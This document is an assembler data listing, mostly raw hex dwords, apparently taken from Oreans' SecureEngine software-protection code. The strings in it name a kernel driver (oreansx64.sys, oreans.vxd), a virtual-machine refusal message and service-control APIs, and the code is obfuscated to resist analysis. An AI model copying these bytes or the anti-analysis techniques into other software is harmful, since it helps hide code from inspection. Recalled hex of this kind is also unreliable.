		dd 6A54E2BAh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 81D7F066h, 4C0ACEF1h, 463678BFh
		dd 0A745682Dh, 3481698Bh, 8BA7C524h, 698D8B69h,	6A06142Ch
		dd 8E803h, 32D20000h, 0A2C494F9h, 8166A780h, 5E22CDE6h
		dd 8E9006Ah, 0BE000000h, 0E82EC002h, 316329EBh,	141545B5h
		dd 6A036A06h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 3BDFC350h, 4E81B02h, 0
		dd 0FC00000h, 0B83h, 58F0F00h, 0B9000000h, 2C59471Eh, 8BF78B50h
		dd 50042444h, 0AE952h, 466B0000h, 0AAF878F8h, 22369F09h
		dd 8F0F310Fh, 4, 0DF87BA66h, 8B585Ah, 12E9h, 59B09900h
		dd 7F148C04h, 0EF949A27h, 1996CB4Ah, 89F54A19h,	0E9042444h
		dd 10h,	10B64C17h, 785B31BEh, 56009445h, 0A7C6B309h, 0A98D8B58h
		dd 8B06142Dh, 140A4DBDh, 0C19D8D06h, 810616A8h,	0A4862EC7h
		dd 1C895033h, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 92F5BA0Dh, 0AB3D2A4Dh, 0B5338A47h
		dd 61402F9h, 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 6622FBC3h, 5FCCA81h, 0DF850F40h
		dd 81000001h, 213A01F6h, 11E9580Eh, 9F000000h, 336A4213h
		dd 0D68EADABh, 80CDC98Eh, 8BE317D8h, 2EB96050h,	607B6631h
		dd 74BBDF8Bh, 614753CEh, 24048961h, 13E9h, 0C215D800h
		dd 8731321Ah, 21F2A4C9h, 0CBDD2CA8h, 0A964E753h, 0BD8B006Ah
		dd 6141115h, 4E8h, 8000h, 52505000h, 310FF88Bh,	7E8h, 9190C600h
		dd 0DB84E4B2h, 0BE9h, 43BFE100h, 0F2A397B1h, 0DFA3B296h
		dd 8B585A5Ah, 50042444h, 9E852h, 0FBAE0000h, 0D2035939h
		dd 5AF975E2h, 13E8310Fh, 0FE000000h, 0CD67B9CEh, 2EE697DEh
		dd 114D2336h, 6424CC3Bh, 0C88B7714h, 8B585A5Ah,	13E900h
		dd 39FB0000h, 0E2D20359h, 23D5F975h, 491A83FAh,	38450480h
		dd 24448924h, 81605804h, 58B9A6C3h, 0E5BD8B57h,	61061400h
		dd 0B966036Ah, 6ABE9Bh,	6AD38B66h, 0BDBD8B03h, 29061410h
		dd 141BED9Dh, 4E806h, 0
		dd 8E9C000h, 5A000000h,	7EDB90B0h, 50F2AAF3h, 8BF78B66h
		dd 60042444h, 9E9h, 3CCDCD00h, 0FDEB2C2Eh, 0DE878EDh, 7000000h
		dd 239F5C98h, 36755144h, 8B19C8F8h, 615E6160h, 4489008Bh
		dd 810F0424h, 9, 310F5250h, 5AC88B66h, 0BE665858h, 9D8D0E25h
		dd 616A8CCh, 0E8525050h, 11h, 11FB06A5h, 0E403AB59h, 0C93890B7h
		dd 0D950F6C7h, 0F525056h, 5E585A31h, 6660310Fh,	0F412BBAh
		dd 8Bh,	585A6100h, 2B241C89h, 140E91BDh, 81D0FF06h, 0F33B31C2h
		dd 850F4069h, 3Ah, 2BF59509h, 31580614h, 142B1185h, 187E906h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 0F561AEC3h, 8BFDB160h, 1425F19Dh,	0D88B6106h
		dd 98A0Fh, 850F0000h, 3, 0E9D0BF0Fh, 12h, 770932C2h, 7332FC37h
		dd 0E02D2768h, 0D61BEE5Fh, 604B3751h, 119D9D09h, 8D2B0614h
		dd 6141709h, 758D2361h,	5806140Ch, 68C0F50h, 8B000000h
		dd 141115BDh, 85C65906h, 6140849h, 820F5343h, 6, 158D89h
		dd 0E85F0614h, 4, 0C0764AA7h, 310F5250h, 5050585Ah, 8E8h
		dd 0F5F31F00h, 7F6F06D1h, 7E928h, 0B470000h, 0AAB65627h
		dd 8B5A5FC7h, 0E9042444h, 14h, 92163012h, 0C2979A10h, 0DFA00514h
		dd 0E762B7Ch, 1C55AB7Bh, 92B9008Bh, 89641B21h, 0E9042444h
		dd 10h,	0CF9D635Fh, 4390C8A9h, 68DFEC50h, 0AC8EA3D3h, 0B5958B58h
		dd 0FF061400h, 140C2DB5h, 0BE806h, 3ED0000h, 0F9FF6F86h
		dd 0C5F8A91Fh, 0A9950BC6h, 5A061433h, 3B4E858Dh, 5E80614h
		dd 59000000h, 0C495EB64h, 12E8h, 76862800h, 12B0EC73h
		dd 4C0B3ECBh, 0C7ECF8CAh, 0E98E2C23h, 0Bh, 4746D054h, 82511B3Fh
		dd 5E696D17h, 8BD0FF5Fh, 0C3B250F7h, 53241C89h,	0FFACBE66h
		dd 8BD0FF5Eh, 140FEDB5h, 9D8DF806h, 61472AFh, 1B8CE8Bh
		dd 0BE000000h, 30CF4F16h, 79E28166h, 8BE3FF82h,	142E118Dh
		dd 89C18B06h, 142F3195h, 66C08B06h, 8308C9B9h, 1410F1BDh
		dd 9750006h, 0E25BD83h,	74000614h, 8B535019h, 40FB8C0h
		dd 85890000h, 61424F1h,	0A7B99D8Dh, 0D3FF0616h,	0BD83585Bh
		dd 6140E25h, 50177400h,	40FB853h, 85890000h, 61424F1h
		dd 0A45A9D8Dh, 0D3FF0616h, 6A585Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 0B581B3C3h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 35C35747h
		dd 8B66508Ah, 0E9C08BD0h, 99h, 6775622Fh, 63656863h, 2F00326Bh
		dd 63677562h, 6B636568h, 6F662F00h, 72656372h, 2F006E75h
		dd 63677562h, 6B636568h, 6C6C7566h, 68732F00h, 6F63776Fh
		dd 2F006564h, 776F6873h, 65646F63h, 632F0032h, 74726Ch
		dd 7369642Fh, 732F0031h, 69776F68h, 6174736Eh, 65636Eh
		dd 7465672Fh, 74736C77h, 73757461h, 6F6C2F00h, 61747367h
		dd 737574h, 6D75642Fh, 61747370h, 737574h, 0
aCheckprotectio	db '/checkprotection',0
		align 10h
		dd 0CCBD8300h, 616B0h, 0A840Fh,	85C70000h, 6140E25h, 1
		dd 84985C6h, 68470614h,	89093740h, 0CD243481h, 0FF19645Bh
		dd 140C2DB5h, 4E858D06h, 0FF06143Bh, 8BD0FFD0h,	223F80F8h
		dd 22850Fh, 0B0470000h,	850FAE22h, 0FFFFFFF9h, 0F003F80h
		dd 31B84h, 3F804700h, 11840F00h, 0E9000003h, 1Eh, 0F003F80h
		dd 30384h, 203F8000h, 6850Fh, 0E9470000h, 6, 0FFE2E947h
		dd 3F80FFFFh, 5850F00h,	0E9000000h, 2E0h, 1E9h,	3F804700h
		dd 0F6840F20h, 80FFFFFFh, 850F003Fh, 5,	2C3E9h,	0AE800h
		dd 0CBE90000h, 0E9FFFFFFh, 2B4h, 0B04CB58Dh, 25E80616h
		dd 3000002h, 16B0E1BDh,	0E1BD8306h, 616B0h, 0B840Fh, 85C70000h
		dd 61410F1h, 1,	57B58DC3h, 0E80616B0h, 1FCh, 0B0E1BD03h
		dd 0BD830616h, 616B0E1h, 0B840F00h, 0C7000000h,	140E2585h
		dd 106h, 0B58DC300h, 616B0D0h, 1D3E8h, 0E1BD0300h, 830616B0h
		dd 16B0E1BDh, 840F0006h, 0Bh, 0AA185C7h, 10614h, 8DC30000h
		dd 16B061B5h, 1AAE806h,	0BD030000h, 616B0E1h, 0B0E1BD83h
		dd 0F000616h, 0B84h, 2585C700h,	106140Eh, 0C3000000h, 0B06BB58Dh
		dd 81E80616h, 3000001h,	16B0E1BDh, 0E1BD8306h, 616B0h
		dd 15840Fh, 85C70000h, 6140E25h, 1, 10F185C7h, 10614h
		dd 8DC30000h, 16B079B5h, 14EE806h, 0BD030000h, 616B0E1h
		dd 0B0E1BD83h, 0F000616h, 0A84h, 5185C700h, 106142Ah, 8D000000h
		dd 16B083B5h, 126E806h,	0BD030000h, 616B0E1h, 0B0E1BD83h
		dd 0F000616h, 0A84h, 5185C700h,	106142Ah, 8D000000h, 16B08EB5h
		dd 0FEE806h, 0BD030000h, 616B0E1h, 0B0E1BD83h, 0F000616h
		dd 0A84h, 9585C700h, 106141Fh, 8D000000h, 16B094B5h, 0D6E806h
		dd 0BD030000h, 616B0E1h, 0B0E1BD83h, 0F000616h,	0A84h
		dd 185C700h, 1061431h, 8D000000h, 16B09AB5h, 0AEE806h
		dd 0BD030000h, 616B0E1h, 0B0E1BD83h, 0F000616h,	0A84h
		dd 3985C700h, 106141Bh,	8D000000h, 16B0A8B5h, 86E806h
		dd 0BD030000h, 616B0E1h, 0B0E1BD83h, 0F000616h,	0A84h
		dd 0D185C700h, 106142Fh, 8D000000h, 16B0B5B5h, 5EE806h
		dd 0BD030000h, 616B0E1h, 0B0E1BD83h, 0F000616h,	0A84h
		dd 2D85C700h, 1061420h,	8D000000h, 16B0C0B5h, 36E806h
		dd 0BD030000h, 616B0E1h, 0B0E1BD83h, 0F000616h,	0A84h
		dd 5185C700h, 106142Ch,	0E9000000h, 1, 203F8047h, 9840Fh
		dd 3F800000h, 0ED850F00h, 0C3FFFFFFh, 1B960h, 0DE8B0000h
		dd 1CE9h, 3F8000h, 2850Fh, 0C92B0000h, 1638178Ah, 5840Fh
		dd 0B90000h, 46000000h,	3E8047h, 8840Fh, 0C90B0000h, 0FFD3850Fh
		dd 0C90BFFFFh, 21840Fh,	3F800000h, 9840F00h, 80000000h
		dd 850F203Fh, 0Ah, 1B9h, 5E900h, 0B90000h, 0B000000h, 0D840FC9h
		dd 2B000000h, 0E1B589F3h, 0E90616B0h, 0Ah, 0B0E185C7h
		dd 616h, 0C3610000h, 0B8h, 0FC00B00h, 0A84h, 5185C700h
		dd 6142Ah, 8B000000h, 7E8C8h, 0B1B30000h, 0FF833567h, 0F58D03ADh
		dd 5806141Fh, 23258D89h, 0C0810614h, 66A7h, 68CA8B66h
		dd 0
		dd 665A20B7h, 348BFB8Bh, 21BD0110h, 81061431h, 528800C6h
		dd 418D8B0Bh, 81061407h, 5AC8F1C6h, 0EB816636h,	0EE816290h
		dd 49BB533Fh, 89FA8B66h, 830F1034h, 3, 3159F951h, 14231DBDh
		dd 1EA8306h, 0B9D9589h,	4A4A0614h, 0E0FA814Ah, 0FFFFF99h
		dd 0FFFFAD85h, 815360FFh, 124B4D8h, 9D895F49h, 6140B7Dh
		dd 20EE961h, 43330000h,	6F6E6E61h, 72772074h, 20657469h
		dd 6165726Fh, 762E736Eh, 0D0A6478h, 656B614Dh, 72757320h
		dd 68742065h, 74207461h, 20736968h, 656C6966h, 20736920h
		dd 20746F6Eh, 6E696562h, 73752067h, 62206465h, 6E612079h
		dd 6568746Fh, 72702072h, 6172676Fh, 2E6Dh, 67h dup(0)
		dd 4F5C0000h, 6E616572h, 78762E73h, 64h, 2 dup(0)
		dd 0EFE9h, 4985C600h, 47061408h, 0E45B8668h, 2DB5FFE3h
		dd 8D06140Ch, 143B4E85h, 68D0FF06h, 104h, 5319D8Dh, 0FF530614h
		dd 0B58D50D0h, 616B6FEh, 0C032FE8Bh, 0F9850FAEh, 2BFFFFFFh
		dd 58CF8BFEh, 0F803FB8Bh, 85C6A4F3h, 6140849h, 6EFC6843h
		dd 0B5FFBC8Eh, 6140C2Dh, 3B4E858Dh, 0D0FF0614h,	531B58Dh
		dd 6A0614h, 8068h, 6A026A00h, 68006A00h, 0C0000000h, 8BD0FF56h
		dd 4985C6D8h, 57061408h, 9BEE5668h, 2DB5FFA6h, 8D06140Ch
		dd 143B4E85h, 8DD0FF06h, 14232DBDh, 248D8D06h, 6A0616B8h
		dd 0D0685700h, 51000037h, 85D0FF53h, 1B850FC0h,	8D000000h
		dd 16B506B5h, 7D858D06h, 0FF0616A0h, 0AF8D8DD0h, 0B8061472h
		dd 0
		dd 85C6E1FFh, 6140849h,	4AA76843h, 0B5FFC076h, 6140C2Dh
		dd 3B4E858Dh, 0D0FF0614h, 0C3D0FF53h, 37D0B9h, 0E800h
		dd 83580000h, 8890EC0h,	2E9h, 0E9C38B00h, 37D0h, 905A4Dh
		dd 3, 4, 0FFFFh, 0B8h, 0
		dd 40h,	8 dup(0)
		dd 0B0h, 0EBA1F0Eh, 0CD09B400h,	4C01B821h, 685421CDh, 70207369h
		dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h
		dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0
		dd 0DB1D175Dh, 3 dup(88737619h), 886156E5h, 88737618h
		dd 88737619h, 88737618h, 68636952h, 88737619h, 2 dup(0)
		dd 454Ch, 0
		dd 40002h, 0
		dd 38000h, 14h,	4 dup(0)
		dd 200h, 1C0h, 90h, 0
		dd 7Eh,	0
		dd 0C4h, 1, 0DCh, 3 dup(0)
		dd 12Ch, 138h, 2 dup(0)
		dd 142h, 196h, 1D2h, 0
		dd 1D2h, 0
		dd 1000h, 14h, 37C0h, 10h, 0Ch dup(0)
		dd 4000000h, 27C0h, 0
		dd 2045h, 1, 14h, 444F434Ch, 10000h, 20000h, 30000h, 40000h
		dd 50000h, 60000h, 70000h, 80000h, 90000h, 0A0000h, 0B0000h
		dd 0C0000h, 0D0000h, 0E0000h, 0F0000h, 100000h,	110000h
		dd 120000h, 130000h, 140000h, 52505808h, 5856544Fh, 44h
		dd 10301h, 3, 0
		dd 13h dup(70000h), 3C0000h, 70000h, 60010018h,	0AD000727h
		dd 500101h, 1910007h, 27279B01h, 6F010600h, 7D017927h
		dd 85018101h, 8D018901h, 75000701h, 27950101h, 1710007h
		dd 7279801h, 1016B00h, 2771h, 360h dup(0)
		dd 400h, 1, 4F525058h, 44585654h, 80000000h, 9 dup(0)
aVerpp		db 'verPP',0
		align 4
a1vsr2vsr3vsr	db '1vsR2vsR3vsR',0
		align 4
		dd 9C3h	dup(0)
		dd 831BE883h, 77309F8h,	8524FFh, 0F8000000h, 0C3h, 8 dup(0)
		dd 0C3C03300h, 83C3C033h, 75000C7Eh, 0EBC03304h, 0C7E831Ah
		dd 8D147501h, 5, 187E8B00h, 46C70789h, 420h, 0C3C03300h
		dd 5250580Ch, 5856544Fh, 44445F44h, 42h, 10B7E9h, 56444100h
		dd 33495041h, 4C442E32h, 704F004Ch, 43536E65h, 616E614Dh
		dd 41726567h, 65724300h, 53657461h, 69767265h, 416563h
		dd 72617453h, 72655374h, 65636976h, 65470041h, 74614E74h
		dd 53657669h, 65747379h, 666E496Dh, 704F006Fh, 65536E65h
		dd 63697672h, 44004165h, 74656C65h, 72655365h, 65636976h
		dd 6F6C4300h, 65536573h, 63697672h, 6E614865h, 656C64h
		dd 746E6F43h, 536C6F72h, 69767265h, 6563h, 7 dup(0)
		dd 6F000000h, 6E616572h, 2E323373h, 737973h, 2 dup(0)
aOreansx64_sys	db 'oreansx64.sys',0
		align 4
		dd 0
		dd 726F0000h, 736E6165h, 5C003233h, 6F5C2E5Ch, 6E616572h
		dd 323373h, 5C2E5C5Ch, 626F6C47h, 6F5C6C61h, 6E616572h
		dd 323373h, 6165726Fh, 3678736Eh, 5C5C0034h, 6C475C2Eh
		dd 6C61626Fh, 65726F5Ch, 78736E61h, 3436h, 41h dup(0)
		dd 53000000h, 45545359h, 4F4F524Dh, 73250054h, 7379735Ch
		dd 336D6574h, 72645C32h, 72657669h, 73255C73h, 5C732500h
		dd 77737973h, 3436776Fh, 6972645Ch, 73726576h, 73255Ch
		dd 735C7325h, 65747379h, 5C32336Dh, 76697264h, 5C737265h
		dd 6165726Fh, 3233736Eh, 7379732Eh, 49h	dup(0)
		dd 61433300h, 746F6E6Eh, 64705520h, 20657461h, 6165726Fh
		dd 732E736Eh, 64207379h, 65766972h, 50202E72h, 7361656Ch
		dd 6D202C65h, 20656B61h, 65727573h, 61687420h, 6F792074h
		dd 61682075h, 0D0A6576h, 696D6461h, 7473696Eh, 6F746172h
		dd 20732772h, 6D726570h, 20737469h, 20656874h, 73726966h
		dd 69742074h, 7420656Dh, 20746168h, 20756F79h, 20657261h
		dd 6E696F67h, 6F742067h, 6E757220h, 69687420h, 72702073h
		dd 6172676Fh, 2E6Dh, 59h dup(0)
		dd 61433300h, 746F6E6Eh, 65706F20h, 726F206Eh, 736E6165h
		dd 6478762Eh, 69726420h, 2E726576h, 6B614D20h, 75732065h
		dd 74206572h, 20746168h, 6165726Fh, 762E736Eh, 0D0A6478h
		dd 6E207369h, 6F20746Fh, 206E6570h, 61207962h, 68746F6Eh
		dd 70207265h, 72676F72h, 2E6D61h, 67h dup(0)
		dd 65533300h, 65727563h, 69676E45h, 6420656Eh, 65766972h
		dd 61632072h, 746F6E6Eh, 20656220h, 61647075h, 20646574h
		dd 61636562h, 20657375h, 72656874h, 72612065h, 6F732065h
		dd 7020656Dh, 72676F72h, 20736D61h, 6E697375h, 690D0A67h
		dd 59202E74h, 6E20756Fh, 20646565h, 63206F74h, 65736F6Ch
		dd 6F687420h, 70206573h, 72676F72h, 20736D61h, 7220726Fh
		dd 61747365h, 79207472h, 2072756Fh, 706D6F63h, 72657475h
		dd 520D0A2Eh, 61747365h, 6E207472h, 3F776Fh, 0D9h dup(0)
		dd 2E5C5C00h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
		dd 73250000h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
		dd 70580000h, 45746F72h, 746E6576h, 0Bh	dup(0)
		dd 53655300h, 64747568h, 506E776Fh, 69766972h, 6567656Ch
		dd 0
		dd 65724300h, 45657461h, 746E6576h, 49504120h, 72724520h
		dd 7720726Fh, 656C6968h, 74786520h, 74636172h, 206E6F69h
		dd 20656874h, 76697264h, 47007265h, 6E457465h, 6F726976h
		dd 6E656D6Eh, 72615674h, 6C626169h, 50412065h, 72452049h
		dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h
		dd 65687420h, 69726420h, 726576h, 6E65704Fh, 614D4353h
		dd 6567616Eh, 50412072h, 72452049h, 20726F72h, 6C696877h
		dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h
		dd 726576h, 61657243h, 65536574h, 63697672h, 50412065h
		dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h
		dd 6E6F6974h, 65687420h, 69726420h, 726576h, 736F6C43h
		dd 72655365h, 65636976h, 646E6148h, 4120656Ch, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 7265536Eh
		dd 65636976h, 49504120h, 72724520h, 7720726Fh, 656C6968h
		dd 74786520h, 74636172h, 206E6F69h, 20656874h, 76697264h
		dd 53007265h, 74726174h, 76726553h, 20656369h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 50410072h, 65204349h
		dd 726F7272h, 6143203Ah, 746F6E6Eh, 6E696620h, 72502064h
		dd 7365636Fh, 73726F73h, 6E6F4320h, 6C6F7274h, 6F6C4220h
		dd 2E736B63h, 656C5020h, 2C657361h, 6F630D0Ah, 6361746Eh
		dd 6E692074h, 6F406F66h, 6E616572h, 6F632E73h, 6F66206Dh
		dd 68742072h, 65207369h, 726F7272h, 0
		dd 10400h, 6F533300h, 2C797272h, 69687420h, 70612073h
		dd 63696C70h, 6F697461h, 6163206Eh, 746F6E6Eh, 6E757220h
		dd 646E7520h, 61207265h, 72695620h, 6C617574h, 63614D20h
		dd 656E6968h, 70h dup(0)
		dd 100000h, 1000000h, 0FEFFFF00h, 17Fh,	100h, 24A00h, 1000000h
		dd 8000F00h, 940004h, 50000h, 10000h, 0A280000h, 20000h
		dd 65530000h, 63697672h, 61502065h, 32206B63h, 1Dh dup(0)
		dd 6F530000h, 61777466h, 575C6572h, 656E69h, 11E9C48Bh
		dd 0BE000000h, 304330A5h, 46D92011h, 295F51CEh,	9E5CC9EFh
		dd 25518589h, 0BD310614h, 6140AD1h, 0F781C08Bh,	4D634046h
		dd 83B3D680h, 1410F1BDh, 9750006h, 0E25BD83h, 74000614h
		dd 8B535019h, 43DB8C0h,	85890000h, 6141819h, 0A7529D8Dh
		dd 0D3FF0616h, 0BD83585Bh, 6140E25h, 50177400h,	43DB853h
		dd 85890000h, 6141819h,	0A4419D8Dh, 0D3FF0616h,	64BA585Bh
		dd 8B3A25EAh, 0D7BF0FC0h, 0BA66C08Bh, 0BD830C50h, 61410F1h
		dd 83097500h, 140E25BDh, 13740006h, 0C08B5350h,	0B8h, 0F49D8D00h
		dd 0FF0616A5h, 83585BD3h, 140E25BDh, 11740006h,	0B85350h
		dd 8D000000h, 16A4A59Dh, 5BD3FF06h, 0A1858958h,	66061416h
		dd 0E93346B9h, 8, 15B4C4F6h, 11291986h,	6AC08Bh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 3A8465C3h, 0A9265FA8h, 0E9F568E1h, 10h, 66D0B441h, 3CF2E1D3h
		dd 0E33B2EE5h, 6B7C9FCFh, 8D89C08Bh, 61409A9h, 10F1BD83h
		dd 75000614h, 25BD8309h, 6140Eh, 53501374h, 0B8C08Bh, 8D000000h
		dd 16A5269Dh, 5BD3FF06h, 25BD8358h, 6140Eh, 53501174h
		dd 0B8h, 739D8D00h, 0FF0616A4h,	52585BD3h, 0B8EF7FBAh
		dd 0A6BA5A39h, 8B441C8Eh, 0FBBF0FC0h, 2810Fh, 0EC8A0000h
		dd 2DB9C08Bh, 83794554h, 1410F1BDh, 9750006h, 0E25BD83h
		dd 74000614h, 8B535013h, 0B8C0h, 9D8D0000h, 616A58Dh, 585BD3FFh
		dd 0E25BD83h, 74000614h, 0B8535011h, 0
		dd 0A48C9D8Dh, 0D3FF0616h, 8D8B585Bh, 6140771h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 97C35141h, 0EC8531A0h
		dd 958B4BC2h, 6142E25h,	14E9h, 49BEE00h, 9E067F6h, 51F573D5h
		dd 0C07F17D4h, 0BED3F585h, 8AC08B92h, 3890FEAh,	66000000h
		dd 0C08BD78Bh, 0BD8308B6h, 61410F1h, 83097500h,	140E25BDh
		dd 13740006h, 0C08B5350h, 0B8h,	0BF9D8D00h, 0FF0616A4h
		dd 0E8585BD3h, 0Fh, 0C2D9D453h,	5EA07EB6h, 2ED66EFEh, 141B8A6h
		dd 1416698Dh, 0DA805F06h, 6FD78106h, 8B490196h,	14E9C0h
		dd 88F60000h, 0E2820ABCh, 8E3D5F85h, 0C1D82A26h, 6E292C94h
		dd 0C08B70CFh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	75C35343h, 5326395Eh, 808BA490h, 0BD8312F6h, 61410F1h
		dd 83097500h, 140E25BDh, 19740006h, 0C08B5350h,	7D0B8h
		dd 19858900h, 8D061418h, 16A7529Dh, 5BD3FF06h, 25BD8358h
		dd 6140Eh, 53501774h, 7D0B8h, 19858900h, 8D061418h, 16A4419Dh
		dd 5BD3FF06h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 957B00CFh, 9E854h, 9CF40000h, 7FC4CFE2h
		dd 56DB4017h, 5A5A5F52h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 0E7C35646h, 5DABC372h, 4538CC6Fh, 0FE854h
		dd 778F0000h, 66D5BAEDh, 4CE7EB0Eh, 74AA05E6h, 5FF7B64Bh
		dd 0F281C08Bh, 42477F58h, 0C810Fh, 850F0000h, 6, 699B531h
		dd 85C60614h, 6140849h,	52006A53h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 520E6FAFh, 0FE991h, 0B0DA0000h
		dd 75EDE810h, 58AA11DAh, 0CFE49B8Eh, 0D2BF0F16h, 395F9068h
		dd 21958B99h, 0FF06142Bh, 140C2DB5h, 0EE906h, 80AA0000h
		dd 8CFF9CDFh, 34DED881h, 0E9FC2464h, 3B4E858Dh,	6A0614h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 459816C3h, 2349BD89h, 8B660614h, 31D0FFF8h, 1415F595h
		dd 5D8D0106h, 89061406h, 140BD985h, 8E806h, 0DCFB0000h
		dd 0E680DBC2h, 880F7B71h, 6, 0D358D8Bh,	8B5F0614h, 14070995h
		dd 4985C606h, 57061408h, 28A0Fh, 0CB8B0000h, 4520668h
		dd 70B96690h, 31E6807Dh, 0C2DB5FFh, 9D890614h, 6142539h
		dd 3B4E858Dh, 0FFF90614h, 0B8B2BAD0h, 85890EE9h, 6142A89h
		dd 5F35B256h, 8598D09h,	85C60614h, 6140849h, 70286843h
		dd 830FBC90h, 13h, 0CE953h, 12850000h, 0E67FCD8Eh, 0FDB91486h
		dd 0FF5F10A3h, 140C2DB5h, 0DE806h, 1A160000h, 64F9E22Eh
		dd 0BB48B38Bh, 0FDD93BAh, 8D59C9B7h, 143B4E85h,	98C0F06h
		dd 0F000000h, 384h, 0BAEA8000h,	0BF0FD0FFh, 718589F9h
		dd 6A061409h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 5FCEC350h, 8AEF570Ch, 0E810FD7h
		dd 0E9000000h, 9, 10E098CBh, 0AD053BB8h, 0B18D89B8h, 0C6061423h
		dd 14084985h, 0CE94C06h, 38000000h, 7BB8D006h, 95AAEC2Dh
		dd 680DEF6Dh, 0D9DA1CE9h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 0A3C35646h, 0BDA7D144h, 809A2AD8h, 0B5FFF0EEh
		dd 6140C2Dh, 19B5958Bh,	858D0614h, 6143B4Eh, 2325BD01h
		dd 0BD890614h, 6140711h, 8D29D0FFh, 6141DF9h, 2BDD8589h
		dd 0BD8B0614h, 61423CDh, 84985C6h, 81460614h, 351264D9h
		dd 614685Bh, 2FB6BADEh,	0C2DB5FFh, 6A0614h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0D3C657C3h
		dd 0F5297DC1h, 3B4E858Dh, 0BF660614h, 0D0FFF076h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0C8C35747h, 0D1D8D2Bh
		dd 89F90614h, 14015185h, 0B9852906h, 0C606141Eh, 14084985h
		dd 0BD894706h, 6140CC5h, 0FB5E268h, 0B5FFF58Ah,	6140C2Dh
		dd 0AE45B966h, 3B4E858Dh, 6A0614h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 85891DC3h, 6140F81h
		dd 6AD0FFh, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 0CD8D7FC3h, 161DBD0Bh, 85890614h,	6140BCDh
		dd 85C6D18Bh, 6140849h,	68F18A47h, 83D0B5F3h, 148C0Fh
		dd 0FE90000h, 0D5000000h, 48C53246h, 7202708Dh,	0A248F4D0h
		dd 0B5FFFBDCh, 6140C2Dh, 880Fh,	858D0000h, 6143B4Eh, 0FFCEB70Fh
		dd 6820FD0h, 89000000h,	14020DBDh, 45858906h, 0E9061416h
		dd 0Ch,	426A6B49h, 0CBAF4A1Bh, 33FEBD05h, 84985C6h, 89770614h
		dd 1418B1BDh, 0A8A36806h, 6AF397h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 0D31900C3h, 5E8C2h, 0EF700000h
		dd 0F8E1A76h, 281h, 59F98B00h, 2965B5FFh, 0BD8B0614h, 6140FCDh
		dd 3B4E858Dh, 958B0614h, 6142FC9h, 6AD0FFh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 514798C3h
		dd 28AAC116h, 8E9E51Dh,	0FF000000h, 0C89AB39Dh,	66C5A0ABh
		dd 8589FB8Bh, 6141239h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 42C35545h, 0CED8D8Bh,	0B70F0614h, 9958BCBh
		dd 0C606141Dh, 14084985h, 6A4706h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 9B21D7C3h, 98490251h
		dd 8D8BE0FEh, 614341Dh,	28FAF668h, 4677B987h, 0B5FF128Dh
		dd 6140C2Dh, 30CABA66h,	3B4E858Dh, 0BF660614h, 0D0FF3D67h
		dd 9E9h, 77B5A00h, 7B378C75h, 8589DB02h, 6140D85h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0EDC35545h, 0D1816620h
		dd 85C6C072h, 6140849h,	72B95043h, 59590CF7h, 0FE8h, 0BA26DE00h
		dd 232E9D50h, 0A486F685h, 8644B2B1h, 0EB61BA66h, 6EFC685Ah
		dd 0FFF8BC8Eh, 140C2DB5h, 0F8B70F06h, 3B4E858Dh, 6A0614h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 0FB761EC3h, 1F2A5721h, 0AE9D0h, 101D0000h, 0A4B1DE5Fh
		dd 60EF8ADAh, 12E9D0FFh, 0FC000000h, 549F3790h,	0AFC47FFBh
		dd 251E8E65h, 188B7B2Eh, 0AE96Eh, 9BB70000h, 8B93689Fh
		dd 87F4FD10h, 3D98589h,	6A0614h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 479775C3h, 10480276h
		dd 0E3B98810h, 0BA529A42h, 7AD6B6C0h, 84985C6h,	0B5450614h
		dd 69696846h, 880F8E72h, 6, 3105BD8Bh, 0B5FF0614h, 6140C2Dh
